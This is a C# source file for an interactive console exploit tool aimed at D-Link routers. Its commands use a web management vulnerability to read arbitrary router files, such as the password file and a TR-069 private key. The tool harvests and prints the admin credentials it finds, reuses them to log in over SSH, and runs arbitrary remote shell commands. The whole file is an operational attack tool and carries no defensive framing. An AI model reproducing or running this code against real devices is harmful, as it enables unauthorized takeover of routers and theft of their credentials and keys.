﻿namespace Xelcius.DlinkUtils.ExploitTool
{
    using Renci.SshNet;
    using Renci.SshNet.Common;
    using System;
    using System.Collections.Generic;
    using System.Globalization;
    using System.Net;
    using System.Net.Sockets;
    using Xelcius.DlinkUtils.Common.IO;
    using Xelcius.DlinkUtils.Common.Net;
    using Xelcius.DlinkUtils.Common.Text;

    public class Program
    {
        private static ConsoleSession session = new ConsoleSession(ConsoleColor.White, ConsoleColor.Black);

        static void Main(string[] args)
        {
            session.Start();

            PrintHeader();

            while (true)
            {
                string input = PromptInput();

                if (input.Length > 0)
                {
                    var splits = input.Split(new char[] { ' ' }, 2, StringSplitOptions.RemoveEmptyEntries);

                    var cmd = (splits.Length > 0) ? splits[0] : input;
                    var arg = (splits.Length > 1) ? splits[1] : null;

                    switch (cmd.ToLower(CultureInfo.CurrentCulture))
                    {
                        case "?"    : ListCommands();               break; //
                        case "clear": ClearScreen();                break; //
                        case "dump" : DumpFromWeb(arg);             break; ///
                        case "set"  : SetVariable(arg);             break; //
                        case "get"  : GetVariable(arg);             break; //
                        case "sh"   : RemoteShellExecute(arg);      break; //
                        case "test" : TestTargetHost(arg);          break; ///
                        case "gw"   : ListKnownNetworkGateways();   break; //
                        case "exit" : Exit();                       break; //
                        case "vars" : ListVariables();              break; //
                        case "load" : LoadFromLastTest();           break; //
                        default     : UnrecognizedCommand(cmd);     break; //
                    }

                    Console.WriteLine();
                }
            }
        }

        private static string PromptInput()
        {
            Constants.InputPromptText.Write(ConsoleColor.Gray);

            return Console.ReadLine().Trim();
        }

        private static void UnrecognizedCommand(string command)
        {
            PrintTag(TagType.Error);
            command.Write(ConsoleColor.White, ConsoleColor.Magenta);
            " is not a recognized command.".WriteLine(ConsoleColor.Gray);
        }

        private static void PrintTag(TagType type)
        {
            "[".Write(ConsoleColor.White);

            switch (type)
            {
                case TagType.Error:
                    "ERROR".Write(ConsoleColor.Red);
                    break;
                case TagType.Information:
                    "INFO".Write(ConsoleColor.Magenta);
                    break;
                case TagType.Usage:
                    "USAGE".Write(ConsoleColor.Cyan);
                    break;
            }

            "] ".Write(ConsoleColor.White);
        }

        private static void PrintHeader()
        {
            Constants.ProgramTitle
                .SetAsTitle()
                .Write(ConsoleColor.White);

            Console.WriteLine(" [Version {0}]", Constants.ProgramVersion);

            Constants.CopyrightMessage.WriteLine(ConsoleColor.Gray);
            Console.WriteLine();

            Console.Write("Type "); 
            "?".Write(ConsoleColor.Cyan);
            Console.WriteLine(" to display list of commands.\n");
        }

        private static void ListCommands()
        {
            string.Format("{0, -15} {1}\n", "COMMAND" , "DESCRIPTION").WriteLine(ConsoleColor.White);

            string.Format("{0, -15} {1}"  , "?"       , "List available commands.").WriteLine(ConsoleColor.Gray);
            string.Format("{0, -15} {1}"  , "DUMP"    , "Dump filesystem content via router's web vulnerabilities.").WriteLine(ConsoleColor.Gray);
            string.Format("{0, -15} {1}"  , "SET"     , "Set variable.").WriteLine(ConsoleColor.Gray);
            string.Format("{0, -15} {1}"  , "GET"     , "Get variable's value.").WriteLine(ConsoleColor.Gray);
            string.Format("{0, -15} {1}"  , "VARS"    , "List all variables.").WriteLine(ConsoleColor.Gray);
            string.Format("{0, -15} {1}"  , "SH"      , "Execute command via router's remote shell.").WriteLine(ConsoleColor.Gray);
            string.Format("{0, -15} {1}"  , "TEST"    , "Test target router for vulnerabilities.").WriteLine(ConsoleColor.Gray);
            string.Format("{0, -15} {1}"  , "LOAD"    , "Load settings from last test result.").WriteLine(ConsoleColor.Gray);
            string.Format("{0, -15} {1}"  , "GW"      , "List of known network gateways in current computer.").WriteLine(ConsoleColor.Gray);
            string.Format("{0, -15} {1}"  , "CLEAR"   , "Clear the screen.").WriteLine(ConsoleColor.Gray);
            string.Format("{0, -15} {1}"  , "EXIT"    , "Exit this program.").WriteLine(ConsoleColor.Gray);
        }

        private static void DumpFromWeb(string path)
        {
            if (string.IsNullOrEmpty(path))
            {
                PrintTag(TagType.Usage);
                "DUMP [file path]".WriteLine(ConsoleColor.Gray);
                "\nExample: ".WriteLine(ConsoleColor.Gray);
                "  DUMP /etc/tr069_key.pem".WriteLine(ConsoleColor.Gray);
                "  DUMP /var/etc/httpasswd".WriteLine(ConsoleColor.Gray);

                return;
            }

            var host = Global.Variables["host"].ToString();
            var port = int.Parse(Global.Variables["port"].ToString());

            if (string.IsNullOrEmpty(host))
            {
                PrintTag(TagType.Error);
                "host".Write(ConsoleColor.White, ConsoleColor.Magenta);
                " variable not set.".WriteLine(ConsoleColor.Gray);

                return;
            }

            try 
            { 
                if (WebVulnerable(host, port))
                {
                    var html = WebDownload(string.Format(Constants.WebExploitUriFormat, host, port, Constants.WebExploitVulnerableFile, path));

                    ExtractFileContent(html).WriteLine(ConsoleColor.Gray);
                }
                else
                {
                    PrintTag(TagType.Information);
                    "This feature is unavailable in this router, it might be patched.".WriteLine(ConsoleColor.Gray);
                }
            }
            catch (WebException)
            {
                PrintTag(TagType.Error);
                "Unable to connect to the remote host.".WriteLine(ConsoleColor.Gray);
            }
        }

        private static bool WebVulnerable(string host, int port)
        {
            var data = WebDownload(string.Format(Constants.WebExploitUriFormat, host, port, Constants.WebExploitVulnerableFile, Constants.LinuxVersionFilePath));

            return data.Contains("Linux");
        }

        private static string ExtractFileContent(string html)
        {
            return html.Between("<center>", "</center>").TrimStart('\t', '\r', '\n').TrimEnd('\t', '\r', '\n');
        }

        private static string WebDownload(string uri)
        {
            using (WebClient webClient = new WebClient())
            {
               try
               {
                   return webClient.DownloadString(uri);
               }
               catch (WebException we)
               {
                   throw we;
               }
            }
        }

        private static void SetVariable(string input)
        {
            if (string.IsNullOrEmpty(input))
            {
                PrintTag(TagType.Usage);
                "SET [variable] [value]".WriteLine(ConsoleColor.Gray);
                "\nExample: ".WriteLine(ConsoleColor.Gray);
                "  SET host 192.168.0.1".WriteLine(ConsoleColor.Gray);
                "  SET port 8080".WriteLine(ConsoleColor.Gray);
                "  SET user Management".WriteLine(ConsoleColor.Gray);

                return;
            }

            var splits = input.Split(new char[] { ' ' }, 2, StringSplitOptions.RemoveEmptyEntries);

            var varName = splits.Length > 0 ? splits[0] : input;
            var varValue = splits.Length > 1 ? splits[1] : "";

            Global.Variables[varName.ToLower(CultureInfo.CurrentCulture)] = varValue;
        }

        private static void GetVariable(string name)
        {
            if (string.IsNullOrEmpty(name))
            {
                PrintTag(TagType.Usage); 
                "GET [variable name]".WriteLine(ConsoleColor.Gray);
                "\nExample: ".WriteLine(ConsoleColor.Gray);
                "  GET host".WriteLine(ConsoleColor.Gray);
                "  GET user".WriteLine(ConsoleColor.Gray);

                return;
            }

            try
            {
                Global.Variables[name.ToLower(CultureInfo.CurrentCulture)].WriteLine(ConsoleColor.Gray);
            } 
            catch (KeyNotFoundException)
            {
                PrintTag(TagType.Error);
                name.Write(ConsoleColor.White, ConsoleColor.Magenta);
                " is not yet defined.".WriteLine(ConsoleColor.Gray);
            }
        }

        private static void ListVariables()
        {
            foreach (var k in Global.Variables.Keys)
            {
                k.Write(ConsoleColor.Gray);
                " -> ".Write(ConsoleColor.DarkGray);
                SpecialPrint(Global.Variables[k].ToString());
                Console.WriteLine();
            }
        }

        private static void RemoteShellExecute(string command)
        {
            if (string.IsNullOrEmpty(command))
            {
                PrintTag(TagType.Usage);
                "SH [command]".WriteLine(ConsoleColor.Gray);
                "\nExample: ".WriteLine(ConsoleColor.Gray);
                "  SH ls -l /www".WriteLine(ConsoleColor.Gray);
                "  SH cat /proc/version".WriteLine(ConsoleColor.Gray);

                return;
            }

            if (string.IsNullOrEmpty(Global.Variables["host"].ToString()))
            {
                PrintTag(TagType.Error);
                "host".Write(ConsoleColor.White, ConsoleColor.Magenta);
                " variable not set.".WriteLine(ConsoleColor.Gray);

                return;
            }

            if (string.IsNullOrEmpty(Global.Variables["user"].ToString()))
            {
                PrintTag(TagType.Error);
                "user".Write(ConsoleColor.White, ConsoleColor.Magenta);
                " variable not set.".WriteLine(ConsoleColor.Gray);

                return;
            }

            try
            {
                var sshCommand = RemoteRunCommand(command);

                sshCommand.Result.Write(ConsoleColor.Gray);
                
                if (!string.IsNullOrEmpty(sshCommand.Error))
                {
                    if (!string.IsNullOrEmpty(sshCommand.Result))
                        Console.WriteLine();

                    sshCommand.Error.Write(ConsoleColor.DarkGray);
                }
            }
            catch (SshAuthenticationException)
            {
                PrintTag(TagType.Error);
                "Error executing command with supplied ".Write(ConsoleColor.Gray);
                "user".Write(ConsoleColor.White, ConsoleColor.Magenta);
                " and ".Write(ConsoleColor.Gray);
                "password".Write(ConsoleColor.White, ConsoleColor.Magenta);
                " variables.".WriteLine(ConsoleColor.Gray);
            }
            catch (SocketException)
            {
                PrintTag(TagType.Error);
                "Unable to connect to the remote host.".WriteLine(ConsoleColor.Gray);
            }
        }

        private static bool RemoteShellSuccess(string host, string user, string password)
        {
            using (var sshClient = new SshClient(host, 22, user, password))
            {
                try
                {
                    sshClient.Connect();
                    sshClient.Disconnect();
                    return true;

                }
                catch (Exception)
                {
                    return false;
                }
            }
        }

        private static SshCommand RemoteRunCommand(string command)
        {
            try
            {
                var host = Global.Variables["host"].ToString();
                var user = Global.Variables["user"].ToString();
                var password = Global.Variables["password"].ToString();

                // Intended to reconnect for each command execution
                using (var sshClient = new SshClient(host, 22, user, password))
                {
                    sshClient.Connect();
                    var sshCommand = sshClient.RunCommand(command);
                    sshClient.Disconnect();

                    return sshCommand;
                }
            }
            catch (SshAuthenticationException sae)
            {
                throw sae;
            }
            catch (SocketException se)
            {
                throw se;
            }
        }

        private static void TestTargetHost(string host)
        {
            if (string.IsNullOrEmpty(host))
            {
                PrintTag(TagType.Usage);
                "TEST [host address]".WriteLine(ConsoleColor.Gray);
                "\nExample: ".WriteLine(ConsoleColor.Gray);
                "  TEST 192.168.0.1".WriteLine(ConsoleColor.Gray);

                return;
            }

            // Reset state
            Global.LastWebSucceed = false;
            Global.LastSshSucceed = false;

            Global.LastTestHost = host;

            "Testing web management interface vulnerability".Write(ConsoleColor.Gray);

            var ports = new int[] { 80, 8080, 1080, 88 };
            var state = State.Initial;

            foreach (var port in ports)
            {
                ".".Write(ConsoleColor.DarkGray);

                try
                { 
                    if (WebVulnerable(host, port))
                    {
                        state = State.Success;

                        " SUCCESS".WriteLine(ConsoleColor.Green);
                        "=> ".Write(ConsoleColor.DarkGray);
                        host.Write(ConsoleColor.Gray);
                        ":".Write(ConsoleColor.DarkGray);
                        port.WriteLine(ConsoleColor.Gray);

                        Global.LastWebSucceed = true;
                        Global.LastSuccessPort = port;

                        Global.Credentials.Clear();

                        try
                        {
                            var html = WebDownload(string.Format(Constants.WebExploitUriFormat, host, port, Constants.WebExploitVulnerableFile, Constants.RouterCredentialsFile));

                            var httpasswd = ExtractFileContent(html);
                            var entries = httpasswd.Split(new char[] { '\n' }, StringSplitOptions.RemoveEmptyEntries);

                            if (entries.Length > 0)
                            {
                                "\nWeb management access credentials:".WriteLine(ConsoleColor.Gray);

                                for (int i = 0; i < entries.Length; i++)
                                {
                                    var credential = entries[i].Split(new char[] { ':' }, 2, StringSplitOptions.None);
                                    var user = credential[0];
                                    var password = credential[1];

                                    "=> ".Write(ConsoleColor.DarkGray);
                                    string.Format("{0}. ", i + 1).Write(ConsoleColor.DarkGray);
                                    "Username: ".Write(ConsoleColor.Gray);
                                    string.Format("{0, -20}", user).Write(ConsoleColor.White);
                                    "Password: ".Write(ConsoleColor.Gray);
                                    SpecialPrint(password);
                                    Console.WriteLine();

                                    Global.Credentials[user] = password;
                                }

                                Console.WriteLine();
                            }
                        }
                        catch (Exception) { }
                    }
                    else
                    {
                        state = State.Patched;
                    }

                    break;
                } 
                catch (WebException)
                {
                    state = State.Failed;
                }
            }

            if (state == State.Patched)
            {
                " PATCHED".WriteLine(ConsoleColor.Yellow);
            }
            else if (state == State.Failed)
            {
                " FAILED".WriteLine(ConsoleColor.Red);
            }

            Console.WriteLine();
            "Testing remote shell connectivity".Write(ConsoleColor.Gray);

            if (Global.LastWebSucceed)
            {
                foreach (var k in Global.Credentials.Keys)
                {
                    ".".Write(ConsoleColor.DarkGray);

                    var user = k;
                    var password = Global.Credentials[k];

                    if (RemoteShellSuccess(host, user, password))
                    {
                        Global.LastSshSucceed = true;
                        Global.LastSuccessUser = user;
                        Global.LastSuccessPassword = password;

                        break;
                    }
                }

                if (Global.LastSshSucceed)
                {
                    var user = Global.LastSuccessUser;
                    var password = Global.LastSuccessPassword;

                    " SUCCESS".WriteLine(ConsoleColor.Green);
                    "=> ".Write(ConsoleColor.DarkGray);
                    host.Write(ConsoleColor.Gray);
                    ":".Write(ConsoleColor.DarkGray);
                    "22".WriteLine(ConsoleColor.Gray);

                    "=> ".Write(ConsoleColor.DarkGray);
                    "Username: ".Write(ConsoleColor.Gray);

                    string.Format("{0, -20}", user).Write(ConsoleColor.White);
                    "Password: ".Write(ConsoleColor.Gray);
                    SpecialPrint(password);
                    Console.WriteLine();
                }
                else
                {
                    " FAILED".WriteLine(ConsoleColor.Red);
                }
            }
            else
            {
                " SKIPPED".WriteLine(ConsoleColor.Yellow);
            }
        }

        private static void SpecialPrint(string text)
        {
            if (text.Length > 0)
            {
                text.Write(ConsoleColor.White);
            }
            else
            {
                "<empty>".Write(ConsoleColor.DarkGray);
            }
        }

        private static void LoadFromLastTest()
        {
            if (Global.LastWebSucceed)
            {
                Global.Variables["host"] = Global.LastTestHost;
                Global.Variables["port"] = Global.LastSuccessPort;

                if (Global.LastSshSucceed)
                {
                    Global.Variables["user"] = Global.LastSuccessUser;
                    Global.Variables["password"] = Global.LastSuccessPassword;
                }

                PrintTag(TagType.Information);
                "All variables from last test were loaded.".WriteLine(ConsoleColor.Gray);

                ListVariables();
            }
            else
            {
                PrintTag(TagType.Information);
                "Nothing will be loaded due to last test were unsuccessful.".WriteLine(ConsoleColor.Gray);
            }
        }

        private static void ListKnownNetworkGateways()
        {
            var addrs = NetworkGateways.Get();
            var i = 1;

            foreach (var a in addrs)
            {
                string.Format("{0}. ", i++).Write(ConsoleColor.DarkGray);
                a.WriteLine(ConsoleColor.Gray);
            }
        }

        private static void ClearScreen()
        {
            Console.Clear();
        }

        private static void Exit()
        {
            session.End();
            Environment.Exit(0);
        }
    }
}
